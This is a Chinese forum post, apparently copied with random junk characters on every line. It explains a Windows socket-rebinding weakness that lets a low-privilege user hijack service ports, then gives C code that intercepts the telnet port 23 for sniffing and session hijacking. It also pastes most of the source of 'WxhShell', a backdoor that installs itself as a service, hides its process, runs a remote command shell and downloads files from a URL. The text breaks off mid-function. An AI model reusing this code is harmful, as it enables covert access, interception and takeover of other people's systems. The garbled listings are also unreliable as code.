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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zx #HyO[a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pCacm@(hG  
H$D),s gv  
  saddr.sin_family = AF_INET; <b JF&,  
:mYVHLmea  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c{"=p8F_  
{J&[JA\   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?nf!s J'm  
=6.4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /)+V(Jlu  
dG8_3T}i  
  这意味着什么?意味着可以进行如下的攻击: ww? AGd  
,J*C'#sW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l & A8P  
nYFM^56>_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `jHbA#sO  
\ 8v^ hb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $U/|+*  
3Q0g4#eP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0Dt-!Q7  
Ji#eA[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o;[?b'\[d  
u~pBMg ,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MpNgp )%>  
8-|| Nh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uM"_3je{W2  
0jJ:WPR  
  #include &~Hx!]uc  
  #include n0a|GZyO]  
  #include !"d"3coQ?  
  #include    'w$jVX/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FF5|qCV/z  
  int main() IGnP#@`5]  
  { rv?4S`Z,x$  
  WORD wVersionRequested; 3< 'bi}{  
  DWORD ret; 1m~-q4D)V  
  WSADATA wsaData; W9D~:>^YP  
  BOOL val; <5 )F9.$  
  SOCKADDR_IN saddr; |tr^ `Z  
  SOCKADDR_IN scaddr; 7 /6 Zp?  
  int err; zG* >g  
  SOCKET s; =w5]o@  
  SOCKET sc; P Dgd'y  
  int caddsize; ,J&\) yTP  
  HANDLE mt; \{EYkk0]  
  DWORD tid;   Ga]\~31NE  
  wVersionRequested = MAKEWORD( 2, 2 ); f2LiCe.?  
  err = WSAStartup( wVersionRequested, &wsaData ); koojF|H>  
  if ( err != 0 ) { cjp~I/U  
  printf("error!WSAStartup failed!\n"); ,f@\Fs~n  
  return -1; agGgj>DDd  
  } y*#YIS56I  
  saddr.sin_family = AF_INET; FP<mFqy  
   }?)U`zF)7}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hLICu[LC?  
0FcG;i+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cj\?vX\V  
  saddr.sin_port = htons(23); @P )2ZGG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Di"Tv<RlQ  
  { koa-sy)#L  
  printf("error!socket failed!\n"); yZV Y3<]  
  return -1; r"|UgCc  
  } O))YJh"'_  
  val = TRUE; #&}j'oD|N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XW.k%H4@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vR7S !  
  { ^M)+2@6  
  printf("error!setsockopt failed!\n"); Ya `$.D  
  return -1; m:D0O]2  
  } nv <t$r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A2.GNk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~s{ V!)0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w9w=2 *  
Sq SiuO.D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ` 7P%muY.  
  { 9e*o$)j_  
  ret=GetLastError(); m-2!r*(zt  
  printf("error!bind failed!\n"); P''>wjMH0  
  return -1; %x-`Y[  
  } d{Cg3v`Rd  
  listen(s,2); Oz4vV_a&'  
  while(1) ][dst@?8Oz  
  { 6DG%pF,  
  caddsize = sizeof(scaddr); "Q`Le{  
  //接受连接请求 tR\cS )  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZmDM=qN  
  if(sc!=INVALID_SOCKET) cE^Ljk  
  { L0)w~F ?m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l* z "wA-  
  if(mt==NULL) nR=!S5>S  
  { +bGO"*  
  printf("Thread Creat Failed!\n"); PjP6^"  
  break; 9H/C(Vo  
  } $|tk?Sps  
  } P=aYwmC  
  CloseHandle(mt); TbD $lx3>  
  } . {vMn0c  
  closesocket(s); VXnWY8\  
  WSACleanup(); !CdF,pd/)m  
  return 0; t2Px?S?  
  }   TQtHU6  
  DWORD WINAPI ClientThread(LPVOID lpParam) %O$=%"D6  
  { R"y xpw  
  SOCKET ss = (SOCKET)lpParam; ;$67GK  
  SOCKET sc; rvacCwI  
  unsigned char buf[4096]; P(UY}oU  
  SOCKADDR_IN saddr; +G6 Ge;  
  long num; CofTTYl  
  DWORD val; 3a[LM!  
  DWORD ret; d`,z4 _  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l{gR6U{e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i#aKW'  
  saddr.sin_family = AF_INET; o)GesgxFa5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x];i? 4  
  saddr.sin_port = htons(23); 6:q,JB@i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5@J]#bp0M  
  { ~3Za"q*0s  
  printf("error!socket failed!\n"); HB,?}S#TP  
  return -1; EbeSl+iMx_  
  } DX^8w?t  
  val = 100; ~z(0XKq0d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nsM. `s@V  
  { %d%FI"!K  
  ret = GetLastError(); *'*,mfk[  
  return -1; ?O Puv5!pI  
  } |~@yXc5a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P!SsMo6n  
  { $:yIe.F  
  ret = GetLastError(); vJ{F)0 K  
  return -1; oE_*hp+  
  } v 8EI   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Nt;1&dwUb  
  { e)y+]  
  printf("error!socket connect failed!\n"); /#z"c]#  
  closesocket(sc); =te4p@  
  closesocket(ss); di(H-=9G62  
  return -1; u_}UU 2  
  } K_n GZ/`[  
  while(1) 53$;ZO3  
  { N,Js8Z"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E5 #ff5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (+6N)9rj`/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #Cx#U"~G`  
  num = recv(ss,buf,4096,0); Av0(zA2  
  if(num>0) Rt7l`|g a+  
  send(sc,buf,num,0); 9f/l"  
  else if(num==0) Z&4L///  
  break; w5yX~8UzJ  
  num = recv(sc,buf,4096,0); III:j hh  
  if(num>0) ">M&/}4  
  send(ss,buf,num,0); 3ZN\F  
  else if(num==0) 8;"9A  
  break; }ik N  
  } g{ ;OgS3>  
  closesocket(ss); )H`V\ H[0P  
  closesocket(sc); %Eugy  
  return 0 ; da~_(giD*  
  } G^cMY$?99  
&^w "  
m?gGFxo  
========================================================== .<E7Ey#  
1JJ1!& >  
下边附上一个代码,,WXhSHELL upaQoX/C  
;<GK{8  
========================================================== {>PEl; ,-  
*7=`]w5k1  
#include "stdafx.h" PJ=|g7I  
*&I _fAh]  
#include <stdio.h> XwfR/4  
#include <string.h> AyW=.  
#include <windows.h> |26[=_[q  
#include <winsock2.h> ;>/yY]F7  
#include <winsvc.h> XZS%az1%  
#include <urlmon.h> (sI`FW_  
hT,rcIkg:  
#pragma comment (lib, "Ws2_32.lib") yJ `{\7Uqg  
#pragma comment (lib, "urlmon.lib") y>:U&P^  
^O =G%de  
#define MAX_USER   100 // 最大客户端连接数 cs _  
#define BUF_SOCK   200 // sock buffer M6 8foeeN  
#define KEY_BUFF   255 // 输入 buffer L0I |V[  
<CJy3<$u  
#define REBOOT     0   // 重启 "',;pGg|K  
#define SHUTDOWN   1   // 关机 7KGb2V<t  
y(/5l   
#define DEF_PORT   5000 // 监听端口 =c$x xEDD  
Q/]o'_[vW  
#define REG_LEN     16   // 注册表键长度 sxS%1hp3  
#define SVC_LEN     80   // NT服务名长度 @4Zkkjc4b  
Pd& Npp3  
// 从dll定义API *_d N9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x4MTE?hT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4<vi@,s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I(WIT=Wi<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y@< j vH1  
=}@1Z~  
// wxhshell配置信息 @nMVs6  
struct WSCFG { \rATmjsKzS  
  int ws_port;         // 监听端口 uix/O*^  
  char ws_passstr[REG_LEN]; // 口令 x%O6/rl  
  int ws_autoins;       // 安装标记, 1=yes 0=no s"J)Jc  
  char ws_regname[REG_LEN]; // 注册表键名 ,t;US.s([.  
  char ws_svcname[REG_LEN]; // 服务名 DajN1}]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Z|G6H`c3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QN?EI: q=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H:9G/Nev  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \{!,a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KK5_;<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y"ss<`Cn  
3Ijs V5a  
}; G,c2?^#n  
>4-9 @i0FV  
// default Wxhshell configuration *0eV9!y  
struct WSCFG wscfg={DEF_PORT, Zy.ls&<:  
    "xuhuanlingzhe", 9[W >`JKo  
    1, e ky1}  
    "Wxhshell", $TS97'$  
    "Wxhshell", ?Bl/bY$*h  
            "WxhShell Service", H'7s`^- >I  
    "Wrsky Windows CmdShell Service", B[6k [Vs  
    "Please Input Your Password: ", @HSK[[?  
  1, {]Cn@.TPD  
  "http://www.wrsky.com/wxhshell.exe", Owgy<@C  
  "Wxhshell.exe" * hS6F  
    }; +A^|aQ  
r b\t0tg  
// 消息定义模块 2_6ON   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h:U#F )  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aG]^8`~>'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }%jpqip  
char *msg_ws_ext="\n\rExit."; $duT'G, -  
char *msg_ws_end="\n\rQuit."; lN8l71N^  
char *msg_ws_boot="\n\rReboot..."; 6w(r}yO]  
char *msg_ws_poff="\n\rShutdown..."; En#Q p3  
char *msg_ws_down="\n\rSave to "; _d!o,=}  
$-~"G,;F  
char *msg_ws_err="\n\rErr!"; ,nCvA%B!  
char *msg_ws_ok="\n\rOK!"; CWRB/WH:  
#d*gWwnx"  
char ExeFile[MAX_PATH]; vceD/N8  
int nUser = 0; u<N`;s  
HANDLE handles[MAX_USER]; q,%Fvcmx+e  
int OsIsNt; /3tErc'  
Iu~<Y(8^q#  
SERVICE_STATUS       serviceStatus; 5o>*a>27,A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vF pKkS343  
7jQVm{{.  
// 函数声明 .pdcwd9  
int Install(void); =J]EVD   
int Uninstall(void); *}';q`u }  
int DownloadFile(char *sURL, SOCKET wsh); z*q+5p@~  
int Boot(int flag); C2\WvE%!  
void HideProc(void); 2/tx5Nc  
int GetOsVer(void); @iXBy:@  
int Wxhshell(SOCKET wsl); a j$& 9][  
void TalkWithClient(void *cs); Q-F$Ryj^  
int CmdShell(SOCKET sock); *h=>*t?I2  
int StartFromService(void); q86}'dFw{  
int StartWxhshell(LPSTR lpCmdLine); z$}9f*W}B  
: ir3u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YTmHht{j#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \%bJXTK&W  
(=fLWK{8  
// 数据结构和表定义 guGX  G+  
SERVICE_TABLE_ENTRY DispatchTable[] = GoAh{=s  
{ (xWsyo(4  
{wscfg.ws_svcname, NTServiceMain}, Iz j-,a  
{NULL, NULL} e8wPEDN*4  
}; SdYb T)y  
bu<d>XR  
// 自我安装 TXXG0 G  
int Install(void) u0,QsD)_X0  
{ )ZBNw{nh  
  char svExeFile[MAX_PATH]; g6P^JW}.  
  HKEY key; {^(uoB C/  
  strcpy(svExeFile,ExeFile); j (Q# NFT7  
OI"g-+~  
// 如果是win9x系统,修改注册表设为自启动 ~m,~;  
if(!OsIsNt) { h(~/JW[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )"hd"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -y|']I^ &  
  RegCloseKey(key); jAue+ tB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )!cucY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x3#:C=  
  RegCloseKey(key); p~=z)7% e'  
  return 0; ov H'_'  
    } 7CSz  
  } :@"o.8p   
} Hm!"%  
else { ;~djbo0,X  
Uf ]$I`T#  
// 如果是NT以上系统,安装为系统服务 nTD%i~t~o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2p#d  
if (schSCManager!=0) &z5?]`ALu  
{ 1%R${Qhr  
  SC_HANDLE schService = CreateService D.%%D%AdB  
  ( m[Ihte->  
  schSCManager, 0*tnJB  
  wscfg.ws_svcname, MN5}}@  
  wscfg.ws_svcdisp, k\;D;e{  
  SERVICE_ALL_ACCESS, wbcip8<t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n'{jc 6&|  
  SERVICE_AUTO_START, x=L"qC9f/  
  SERVICE_ERROR_NORMAL, /wJ4hHY  
  svExeFile, $ BgaLJs/O  
  NULL, j6~`C ?(  
  NULL, a9.255  
  NULL, XOQ0(e6  
  NULL, f(eXny@Y  
  NULL ';8 ,RTe  
  ); X[H.t$w5A  
  if (schService!=0) 7-n HPDp'  
  { V9}\0joM  
  CloseServiceHandle(schService); eq8faC5  
  CloseServiceHandle(schSCManager); km5gO|V>m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SqRM*Cf=  
  strcat(svExeFile,wscfg.ws_svcname); 8v8-5N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -!qjBK,`X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NIQ}+xpC  
  RegCloseKey(key); ZsXw]Wa  
  return 0; s-'~t#h  
    } EA1&D^nT  
  } ss}-YnG  
  CloseServiceHandle(schSCManager); 4g2`[<S  
} Rx"+i0  
} $6J22m!S4n  
lxgfi@@+h  
return 1; | Z2_W/  
} `8O Bw  
[A {o"zY  
// 自我卸载 Rs S:I6L  
int Uninstall(void) *y7 Yf7  
{ ^W%F?#ELN2  
  HKEY key; fQU_:[ Uz  
Rr CG(Bh  
if(!OsIsNt) { IBeorDIZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YcwDNsk  
  RegDeleteValue(key,wscfg.ws_regname); 9W\"A$;+&  
  RegCloseKey(key); 2dKt}o>   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X(Mpg[,N"  
  RegDeleteValue(key,wscfg.ws_regname); w/*#TDR  
  RegCloseKey(key); }a, ycFt  
  return 0; cC/32SmY4  
  } \),f?f-m  
} u$zRm(!RB  
} tN4&#YK<  
else { Sw; kUJ  
Fq <JxamR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I~YV&12  
if (schSCManager!=0) `uk=2k}&m  
{ GYb&'#F~t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fK]%*i_"  
  if (schService!=0) CMbID1M3  
  { |.yS~XFJS  
  if(DeleteService(schService)!=0) { _[(EsIqc(F  
  CloseServiceHandle(schService); $8&Y(`  
  CloseServiceHandle(schSCManager); )6X-m9.X  
  return 0; WjR2:kT  
  } TB&IB:4)R  
  CloseServiceHandle(schService); lDKyD`WKnZ  
  } E $\nb]JQ  
  CloseServiceHandle(schSCManager); %O#zE-H"  
} L>g6 9D !  
} X )Tyxppf'  
+e*C`uP!  
return 1; J?dz>3Rhx9  
} FW;}S9u3  
-:'%YHxX  
// 从指定url下载文件  q"T?  
int DownloadFile(char *sURL, SOCKET wsh) )F&.0 '  
{ n/*" 2  
  HRESULT hr; qa@;S,lp  
char seps[]= "/"; SDSP4W5  
char *token; tq~f9EvC  
char *file; GhcH"D%-  
char myURL[MAX_PATH]; PZ'|)  
char myFILE[MAX_PATH]; TJW8l[M  
fr04nl  
strcpy(myURL,sURL); ;vPFRiFK  
  token=strtok(myURL,seps); [4YRyx&:++  
  while(token!=NULL) No[9m_  
  { q&&"8.w-  
    file=token; U&Atgv  
  token=strtok(NULL,seps); U=j`RQ 9,  
  } "+qZv(  
>FHx],  
GetCurrentDirectory(MAX_PATH,myFILE); ZlE=P4`X:  
strcat(myFILE, "\\"); :8}Qt^p  
strcat(myFILE, file); Tmu2G/yi  
  send(wsh,myFILE,strlen(myFILE),0); G,P k3>I'  
send(wsh,"...",3,0); *\}$,/m['  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6|n3Q$p  
  if(hr==S_OK) sGNHA( ;  
return 0; vRW;{,d  
else KVEc:<|x  
return 1; _99 +Vjy  
h:C:opa-=  
} |x&4vHXR0  
MNTVG&h  
// 系统电源模块 >c Tt2v  
int Boot(int flag)  lFcHE c  
{ dxZn| Y  
  HANDLE hToken; tP2.D:( R  
  TOKEN_PRIVILEGES tkp; *&]8rm{  
IDqUiN  
  if(OsIsNt) { vR5X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1|>vk+;1h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {c]dz7'?  
    tkp.PrivilegeCount = 1; \Wppl,"6c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <jYyA]Zy5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N.]~%)K:{  
if(flag==REBOOT) { Yc~lYz+b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z(O*DwY#  
  return 0; x30|0EHYl[  
} A0;{$/  
else { fU%Ys9:wU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) };"_Ku4#-  
  return 0; QZ7W:%r(4  
} Xa ;wx3]t  
  } "7Kw]8mRR  
  else { &"T7KXx  
if(flag==REBOOT) { Lp}V 94xT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [J eq ?X9  
  return 0; b%@9j;  
} %t1Z!xv_  
else { A~k: m0MX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F2Ny=H &G  
  return 0; ;Z"Iv  
} |d6/gSiF  
} ;O,&MR{;|n  
=)i^E9  
return 1; Y Kp@ n8A  
} L.K|]]u  
a5pM~.]  
// win9x进程隐藏模块 Pjvb}q=  
void HideProc(void) eL)m(  
{ iny/K/5bf  
eW3?3l`fvt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #_3-(H5u  
  if ( hKernel != NULL ) Zg4wd/y?  
  { 4z~;4   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [rAi9LSO"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XknNb{. r  
    FreeLibrary(hKernel); .Q@]+&`|}i  
  } g%m-*v*  
XPt>klf  
return; (o{x*';i4  
} egfd=z=2un  
>nK (  
// 获取操作系统版本 RASk=B  
int GetOsVer(void) MOB'rPIUI  
{ Y}yh6r;i  
  OSVERSIONINFO winfo; 3w[uc~f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |@R/JGB^  
  GetVersionEx(&winfo); &lzCRRnvt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @RoU   
  return 1; mN R}%s  
  else g}9heR  
  return 0; [6.<#_~{  
} km lb,P  
a #p`l>rx  
// 客户端句柄模块 X ) =-a  
int Wxhshell(SOCKET wsl) aGE} EK}  
{ KiC,O7&<  
  SOCKET wsh; c1*^ \   
  struct sockaddr_in client; /9P7;1?  
  DWORD myID; _wW"Tn]  
$mf6!p4  
  while(nUser<MAX_USER) ci 22fw0  
{ m<cv3dbZo  
  int nSize=sizeof(client); Xfg?\j/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^y|`\oyqwN  
  if(wsh==INVALID_SOCKET) return 1; =ty{ugM<  
L!ms{0rJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); * "?,.  
if(handles[nUser]==0) OMYbCy^  
  closesocket(wsh); NW21{}=4  
else )B~{G\jS  
  nUser++; f|s,%AU"i  
  } 7(LB}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OH 88d:  
W7~OU(}[`  
  return 0; B&*`A&^y  
} -&v0JvTJ9j  
r>"l:GZ  
// 关闭 socket .0X 5Vy  
void CloseIt(SOCKET wsh) ~1,$  
{ = P$7 "  
closesocket(wsh); 0\"]XYOH  
nUser--; < r b5'  
ExitThread(0); +tYskx/  
} "oR%0pU*  
8<E U|/O  
// 客户端请求句柄 6"+bCx0:  
void TalkWithClient(void *cs) O#vIn}  
{ 0? KvR``Aj  
YQO9$g0% ~  
  SOCKET wsh=(SOCKET)cs; \[B#dw#  
  char pwd[SVC_LEN]; /KO2y0`  
  char cmd[KEY_BUFF]; ?i~mt'O  
char chr[1]; 7~D5Gy  
int i,j; x:]_z.5  
H3ob 8+J  
  while (nUser < MAX_USER) { j(_6.zf  
8}Maj  
if(wscfg.ws_passstr) { np7!y U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5* ~E dT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0{Zwg0&  
  //ZeroMemory(pwd,KEY_BUFF); = o1&.v2j  
      i=0; nC9x N  
  while(i<SVC_LEN) { D r6u0rx8  
UX ?S#:h  
  // 设置超时 09Z\F^*$F  
  fd_set FdRead; vFgnbWxG  
  struct timeval TimeOut; bGp3 V. H  
  FD_ZERO(&FdRead); 7zXX& S  
  FD_SET(wsh,&FdRead); h~&5;  
  TimeOut.tv_sec=8; pr1>:0dg  
  TimeOut.tv_usec=0; 7 /DDQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >?$qKu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {=y~O  
:C#(yp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K7 tSSX<N  
  pwd=chr[0]; RUV:   
  if(chr[0]==0xd || chr[0]==0xa) { F @Wb<+0  
  pwd=0; {w9GMqq  
  break; 3 k)P*ME#  
  } KKwJ=za  
  i++; ~\7peH%  
    } zids2/_*  
<r8s= <:  
  // 如果是非法用户,关闭 socket ~_4$|WKl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `g(r.`t^  
} Ar[$%  
%h=cwT6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P# Z+:T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X]Ma:1+  
ItQ3|-^  
while(1) { B%Z,Xjq  
H3BMN}K~  
  ZeroMemory(cmd,KEY_BUFF); 9M .cTIO{  
&8Oy*'  
      // 自动支持客户端 telnet标准   !O/(._YB`  
  j=0; qMcOSZ%8J  
  while(j<KEY_BUFF) { 3Ett9fBd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :k oXS  
  cmd[j]=chr[0]; zCpXF< _C  
  if(chr[0]==0xa || chr[0]==0xd) { 53?B.\  
  cmd[j]=0; OjY#xO+'  
  break; /y5a~3  
  } +{ {'3=x9  
  j++; X>s'_F?  
    } ! d" i  
OQby=}A  
  // 下载文件 zVtNT@1K>u  
  if(strstr(cmd,"http://")) { tc)4$"9)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VrZ6m  
  if(DownloadFile(cmd,wsh)) ?C|b>wM/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <0^L L  
  else ':?MFkYC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =:7OS>x  
  } &^b mZj!  
  else { <a$'tw-8  
uI_h__  
    switch(cmd[0]) { lEiOE]  
  ]`O??wN  
  // 帮助 #p|7\Y  
  case '?': { . ^JsnP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )R9QJSe  
    break; vip& b}u  
  } vKcc|#  
  // 安装 xrC b29{  
  case 'i': { H83/X,"!w  
    if(Install()) ){,v&[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =jW= Z$3q  
    else Bis'59?U_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '?v-o)X  
    break; HP eN0=7>  
    } 81 /t)Cp  
  // 卸载 %DF-;M"8  
  case 'r': { C\C*'l6d  
    if(Uninstall()) c/ABBvd|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u MM?s?q  
    else zD}2Zh]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i slg5  
    break; '6W|,  
    } '"<h;|  
  // 显示 wxhshell 所在路径 *[O)VkL\%i  
  case 'p': { ^bDh[O  
    char svExeFile[MAX_PATH]; *we*IhIP  
    strcpy(svExeFile,"\n\r"); YU24wTe;k  
      strcat(svExeFile,ExeFile); h(wu5G0C#u  
        send(wsh,svExeFile,strlen(svExeFile),0); x $ oId{;  
    break; d#]XyN>  
    } Ct,|g =(  
  // 重启 u'Ua ++a\  
  case 'b': { pz@wbu=($4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n{v[mqm^  
    if(Boot(REBOOT)) dAj;g9N/h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@Fk  
    else { 0]^ke:(#  
    closesocket(wsh); ~^pV>>LX|  
    ExitThread(0); ;p4|M  
    } ZpTT9{PT=:  
    break; F8%.-.l)  
    } 2W 9N-t2 1  
  // 关机 fu6Ir,  
  case 'd': { 57eA (uI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 U{}A\q  
    if(Boot(SHUTDOWN)) WTP~MJ#C  
